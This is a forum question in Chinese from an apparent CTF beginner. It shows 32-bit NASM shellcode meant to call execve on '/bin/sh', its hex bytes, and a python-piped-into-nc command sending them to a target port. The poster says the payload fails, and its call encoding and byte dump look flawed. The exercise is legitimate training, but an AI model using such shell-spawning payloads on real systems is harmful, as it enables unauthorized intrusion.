我是一个 Shellcode 初学者,我开始了一些 CTF。但我被困在最基本的练习上。
假设我有一个程序。这个程序给了我 execve 的指针地址:0x8048450 假设有一个 char 数组“\bin\sh”,我也有它的地址:0x80486a5
易受攻击的代码是:
char input[4096];
read(0, input, 4096);
((func)&input)();
问题是我没有太多关于目标架构的信息,因为我没有二进制文件,但我认为它是 32 位的。
这是我的代码:
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov eax, 0x80486a5
push eax
call 0x8048450
然后我运行:
nasm -f elf -o shellcode.o shellcode.asm
和
ld -o shellcode shellcode.o -m elf_i386
这使
\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00
我执行
python -c "print('\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00')" | nc target port
但什么都没有。我是否必须放置一个 NOP 雪橇来完成字节数组?
谢谢你读我!